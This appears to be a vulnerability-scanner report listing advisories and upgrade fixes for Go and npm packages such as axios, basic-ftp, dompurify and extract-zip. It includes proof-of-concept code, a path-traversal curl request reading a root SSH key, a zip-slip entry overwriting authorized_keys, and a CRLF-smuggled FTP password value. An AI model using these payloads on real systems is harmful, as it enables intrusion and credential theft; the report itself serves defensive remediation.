Upgrade golang.org/x/net/html to version 0.62.0 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of validation on attacker-controlled counts and lengths in the SPDY/3 frame parser. An attacker can exhaust process memory and cause an out-of-memory crash by sending a single crafted control frame with compressed header blocks that decompress into large allocation sizes.
Remediation
Upgrade github.com/moby/spdystream/spdy to version 0.5.1 or higher.
References
Integer Overflow
Detailed paths
Overview
Affected versions of this package are vulnerable to Integer Overflow leading to an out-of-bounds write in the s2.NewDict() function in s2/dict.go, which reads a uvarint and converts it to int without checking whether it exceeds MaxInt64. An attacker can crash the process with a segmentation fault by supplying S2 dictionary data whose repeat-index uvarint exceeds MaxInt64, which becomes a negative int that bypasses the index validation and drives out-of-bounds arithmetic through unsafe.Pointer in Dict.Encode(). Exploitation requires the application to build an S2 dictionary from attacker-controlled data with s2.NewDict() and then call Dict.Encode() on input of at least 32 bytes.
Remediation
Upgrade github.com/klauspost/compress/s2 to version 1.18.7 or higher.
References
Uncontrolled Recursion
Detailed paths
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion in the ordered-JSON marshal/unmarshal paths through the jsonutils/adapters/stdlib/json and jsonutils/adapters/easyjson/json ordered map handlers. An attacker can crash the process by sending a deeply nested JSON document to ReadJSON/JSONMapSlice.UnmarshalJSON or by causing WriteJSON/JSONMapSlice.MarshalJSON to process an equally deep in-memory JSONMapSlice. The unbounded recursion exhausts the goroutine stack and triggers a non-recoverable fatal error: stack overflow, terminating the serving process and dropping in-flight requests.
Remediation
Upgrade github.com/go-openapi/swag/jsonutils/adapters/stdlib/json to version 0.27.1 or higher.
References
Uncaught Exception
Detailed paths
Overview
Affected versions of this package are vulnerable to Uncaught Exception in the cipher.KeyUnwrap function when decrypting a JSON Web Encryption (JWE) object with a key wrapping algorithm (ending in 'KW', except for 'A128GCMKW', 'A192GCMKW', and 'A256GCMKW') and the encrypted_key field is empty. An attacker can cause a panic and disrupt service by submitting a crafted JWE object with an empty encrypted_key field or by directly invoking cipher.KeyUnwrap with a ciphertext parameter less than 16 bytes long.
Note:
This is only exploitable if the list of accepted key algorithms includes key wrapping algorithms.
Workaround
This vulnerability can be mitigated by prevalidating JWE objects to ensure the encrypted_key field is nonempty, or by excluding key wrapping algorithms from the list of accepted key algorithms.
Remediation
Upgrade github.com/go-jose/go-jose/v3/cipher to version 3.0.5 or higher.
References
Uncaught Exception
Detailed paths
Overview
Affected versions of this package are vulnerable to Uncaught Exception in the cipher.KeyUnwrap function when decrypting a JSON Web Encryption (JWE) object with a key wrapping algorithm (ending in 'KW', except for 'A128GCMKW', 'A192GCMKW', and 'A256GCMKW') and the encrypted_key field is empty. An attacker can cause a panic and disrupt service by submitting a crafted JWE object with an empty encrypted_key field or by directly invoking cipher.KeyUnwrap with a ciphertext parameter less than 16 bytes long.
Note:
This is only exploitable if the list of accepted key algorithms includes key wrapping algorithms.
Workaround
This vulnerability can be mitigated by prevalidating JWE objects to ensure the encrypted_key field is nonempty, or by excluding key wrapping algorithms from the list of accepted key algorithms.
Remediation
Upgrade github.com/go-jose/go-jose/v3 to version 3.0.5 or higher.
References
Inefficient Algorithmic Complexity
Detailed paths
Overview
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the parsing process of JWKs containing RSA keys due to lack of size and consistency checks on RSA modulus and prime values before validation. An attacker can cause excessive CPU consumption and disrupt service availability by submitting specially crafted JWKs with large or malformed RSA parameters.
Remediation
There is no fixed version for github.com/go-jose/go-jose/v3.
References
Improper Removal of Sensitive Information Before Storage or Transfer
Detailed paths
Overview
Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer in the cross-domain redirects that do not strip custom authentication headers (such as X-API-Key, X-Auth-Token, Api-Key, Token). An attacker can obtain sensitive authentication headers by triggering a cross-domain redirect that causes custom authentication headers to be forwarded to an attacker-controlled domain.
Remediation
Upgrade follow-redirects to version 1.16.0 or higher.
References
XML Entity Expansion
Detailed paths
Overview
fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries
Affected versions of this package are vulnerable to XML Entity Expansion in the replaceEntitiesValue() function, which doesn't protect unlimited expansion of numeric entities the way it does DOCTYPE data (as described and fixed for CVE-2026-26278). An attacker can exhaust system memory and CPU resources by submitting XML input containing a large number of numeric character references - &#NNN; and &#xHH;.
Note: This is a bypass for the fix to the DOCTYPE expansion vulnerability in 5.3.6.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade fast-xml-parser to version 5.5.6 or higher.
References
Improper Validation of Specified Quantity in Input
Detailed paths
Overview
fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries
Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the DocTypeReader component when the maxEntityCount or maxEntitySize configuration options are explicitly set to 0. Due to JavaScript's falsy evaluation, the intended limits are bypassed. An attacker can cause unbounded entity expansion and exhaust server memory by supplying crafted XML input containing numerous large entities.
Note:
This is only exploitable if the application is configured with processEntities enabled and either maxEntityCount or maxEntitySize set to 0.
PoC
const { XMLParser } = require("fast-xml-parser");
// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 0, // should mean "zero entities allowed"
maxEntitySize: 0 // should mean "zero-length entities only"
}
});
// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
${entities}
]>
<foo>&e0;</foo>`;
// This should throw "Entity count exceeds maximum" but does not
try {
const result = parser.parse(xml);
console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
console.log("SAFE:", e.message);
}
// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 1,
maxEntitySize: 100
}
});
try {
safeParser.parse(xml);
console.log("ERROR: should have thrown");
} catch (e) {
console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)"
}
Remediation
Upgrade fast-xml-parser to version 5.5.7 or higher.
References
Directory Traversal
Detailed paths
Overview
extract-zip is an unzip a zip file into a directory using 100% javascript
Affected versions of this package are vulnerable to Directory Traversal via the extraction process. An attacker can access or modify arbitrary files by crafting a malicious zip archive containing symlinks that point outside the intended extraction directory.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
There is no fixed version for extract-zip.
References
Directory Traversal
Detailed paths
Overview
extract-zip is an unzip a zip file into a directory using 100% javascript
Affected versions of this package are vulnerable to Directory Traversal through the archive extraction logic in index.js. An attacker can write a file outside the destination directory by supplying an archive with two entries that reuse the same path: a symlink pointing outside the extraction root, followed by a regular file for that same name. During extraction, the code only checked the parent directory of each entry and then wrote the file through the existing final path component, so the second entry followed the planted symlink and overwrote the symlink target. This can corrupt or replace files writable by the process running extract-zip.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
A fix was pushed into the master branch but not yet published.
References
Cross-site Scripting (XSS)
Detailed paths
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via a bypass in the sanitization logic that allows malicious HTML to survive the purification pass. An attacker can inject a payload into user-controlled input that DOMPurify fails to strip, resulting in arbitrary script execution in the victim's browser context.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade dompurify to version 3.4.17 or higher.
References
Cross-site Scripting (XSS)
Detailed paths
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via _handleHookDetachedNode() in src/purify.ts when IN_PLACE mode is used with a hook that removes a node other than the hook's own node (such as a parent, ancestor, or unvisited sibling). The function only checks whether currentNode itself lost its parent, so when a hook removes currentNode.parentNode or a later sibling, the detached subtree is never walked or neutralized by DOMPurify. Event handlers on elements in that detached subtree remain armed, and handlers such as img onerror fire after sanitize() returns, resulting in DOM XSS.
Note: This is only exploitable when IN_PLACE: true is used together with a hook (any of beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes, or afterSanitizeAttributes) that removes a node other than the hook's own node.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade dompurify to version 3.4.17 or higher.
References
Uncontrolled Recursion
Detailed paths
Overview
brace-expansion is a Brace expansion as known from sh/bash
Affected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in expand_ when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., { repeated ~3,200 times followed by a,b and the matching } characters) to exhaust the native call stack and crash the process with a RangeError: Maximum call stack size exceeded. The max and maxLength bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.
Remediation
Upgrade brace-expansion to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.
References
Uncontrolled Recursion
Detailed paths
Overview
brace-expansion is a Brace expansion as known from sh/bash
Affected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in parseCommaParts. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a RangeError. In the second, push.apply passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the max nor maxLength options can bound either path because the crash occurs during parsing, before any expansion takes place.
Remediation
Upgrade brace-expansion to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.
References
CRLF Injection
Detailed paths
Overview
basic-ftp is a FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.
Affected versions of this package are vulnerable to CRLF Injection via the login and _openDir methods. An attacker can execute arbitrary FTP commands by injecting control characters into credentials or directory names sent to the FTP server.
Note: This vulnerability extends the incomplete fix for CVE-2026-39983.
Remediation
Upgrade basic-ftp to version 5.2.2 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
basic-ftp is a FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the StringWriter method. An attacker can cause excessive memory consumption and potential process termination by sending an extremely large or unbounded directory listing response from a malicious or compromised FTP server.
PoC
const { StringWriter } = require("basic-ftp/dist/StringWriter.js");
function mb(n) {
return Math.round(n / 1024 / 1024) + "MB";
}
const writer = new StringWriter();
let wrote = 0;
for (let i = 0; i < 32; i++) {
const chunk = Buffer.alloc(4 * 1024 * 1024, 0x41);
writer.write(chunk);
wrote += chunk.length;
if ((i + 1) % 8 === 0) {
const m = process.memoryUsage();
console.log("written", mb(wrote), "rss", mb(m.rss), "heap", mb(m.heapUsed), "buf", mb(m.arrayBuffers));
}
}
console.log("final text len", writer.getText("utf8").length);
Remediation
Upgrade basic-ftp to version 5.3.0 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
basic-ftp is a FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the connect function. An attacker can cause excessive memory and CPU consumption, leading to application unavailability or service degradation, by sending an unterminated multiline FTP control response from a malicious or compromised FTP server before authentication. No user interaction or valid credentials are required for exploitation.
Remediation
Upgrade basic-ftp to version 5.3.1 or higher.
References
Regular Expression Denial of Service (ReDoS)
Detailed paths
Overview
basic-ftp is a FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via unanchored regular expressions in Client.list() (specifically in parseListDOS.ts and parseListUnix.ts). The regex patterns used to parse FTP directory listings lack anchoring and use unbounded quantifiers, causing catastrophic backtracking when a malicious FTP server returns a long line that cannot be matched. A single such line triggers O(n²) CPU work per character, allowing a server to block the Node.js event loop indefinitely.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade basic-ftp to version 6.2.1 or higher.
References
Uncaught Exception
Detailed paths
Overview
basic-ftp is a FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.
Affected versions of this package are vulnerable to Uncaught Exception via an uncaught exception in FTPContext._passToHandler. Client.login() calls FTPContext.send() from inside the control-socket data event handler, and send() throws when the command contains CR, LF, or NUL. Because the throw originates inside a socket event callback rather than a Promise executor, no try/catch or .catch() in application code can intercept it, and the process terminates with an uncaught exception. The same pattern exists in the REST/RETR path of downloadTo() when the remote path contains control characters. An attacker who controls the FTP password or the remote path of a resumed download can crash the entire Node.js process with a single request, taking down all other clients it serves.
PoC
Tested on Node.js v22.22.0 against basic-ftp 6.2.2 (built from source). It uses a minimal mock FTP server on localhost:
const net = require("net")
const ftp = require("basic-ftp")
const srv = net.createServer(s => {
s.write("220 hi\r\n")
s.on("data", d => {
const c = d.toString()
if (c.startsWith("USER")) s.write("331 pw\r\n")
else if (c.startsWith("PASS")) s.write("230 ok\r\n")
else s.write("200 ok\r\n")
})
})
srv.listen(0, async () => {
const c = new ftp.Client(2000)
try {
await c.access({
host: "127.0.0.1",
port: srv.address().port,
user: "bob",
password: "x\r\nDELE important" // attacker-controlled value
})
} catch (e) {
console.log("rejected:", e.message) // never reached
}
console.log("handled gracefully") // never reached
process.exit(0)
})
Result: the process terminates with an uncaught exception and neither catch nor the final console.log runs:
Error: Invalid command: Contains control characters. (PASS x
DELE important)
at FTPContext.send (dist/FtpContext.js:189:19)
at Object.responseHandler (dist/Client.js:186:26)
at FTPContext._passToHandler (dist/FtpContext.js:322:24)
at FTPContext._onControlSocketData (dist/FtpContext.js:312:18)
at Socket.<anonymous> (dist/FtpContext.js:133:44)
The server in the PoC is benign. Any normal FTP server that replies 331 to USER triggers the same crash.
Note: Tested on Node.js v22.22.0 against basic-ftp 6.2.2 built from source, using a minimal mock FTP server on localhost.
Remediation
Upgrade basic-ftp to version 6.2.3 or higher.
References
HTTP Response Splitting
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.
Notes
- Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or
AxiosHeaders.set(...). - IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a
PUTrequest) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint. - A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.
Remediation
Upgrade axios to version 0.31.0, 1.15.0 or higher.
References
Improperly Controlled Modification of Dynamically-Determined Object Attributes
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes through the transformResponse and request serialization paths in the defaults configuration. An attacker can influence JSON parsing and request handling by supplying a crafted object with inherited parseReviver, responseType, transitional, env, or formSerializer properties, causing Axios to read attacker-controlled prototype values during response parsing or form encoding. This can lead to malformed response processing, unexpected parser behavior, and application-level data corruption or denial-of-service in code that passes untrusted config objects to Axios.
Remediation
Upgrade axios to version 1.15.2 or higher.
References
Uncontrolled Recursion
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
Prototype Pollution
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution in the request configuration merge process. An attacker can access sensitive request configuration data, including authentication credentials and response data, and alter the response returned to the application by injecting a malicious function into Object.prototype.transformResponse prior to the request.
Note: This is only exploitable if a separate vulnerability or attacker-controlled code has polluted Object.prototype with a function-valued transformResponse property before the request is made.
PoC
import http from 'http';
import axios from 'axios';
const seen = [];
const server = http.createServer((req, res) => {
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({ secret: 'response-secret' }));
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
if (headers && typeof status === 'number') {
seen.push({
url: this.url,
username: this.auth && this.auth.username,
password: this.auth && this.auth.password,
responseData: data
});
return { hijacked: true };
}
return true;
};
try {
const { port } = server.address();
const response = await axios.get(`http://127.0.0.1:${port}/users`, {
auth: { username: 'svc-account', password: 'prod-secret-key-123' }
});
console.log(response.data); // { hijacked: true }
console.log(seen[0]); // request config plus original response body
} finally {
delete Object.prototype.transformResponse;
server.close();
}
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
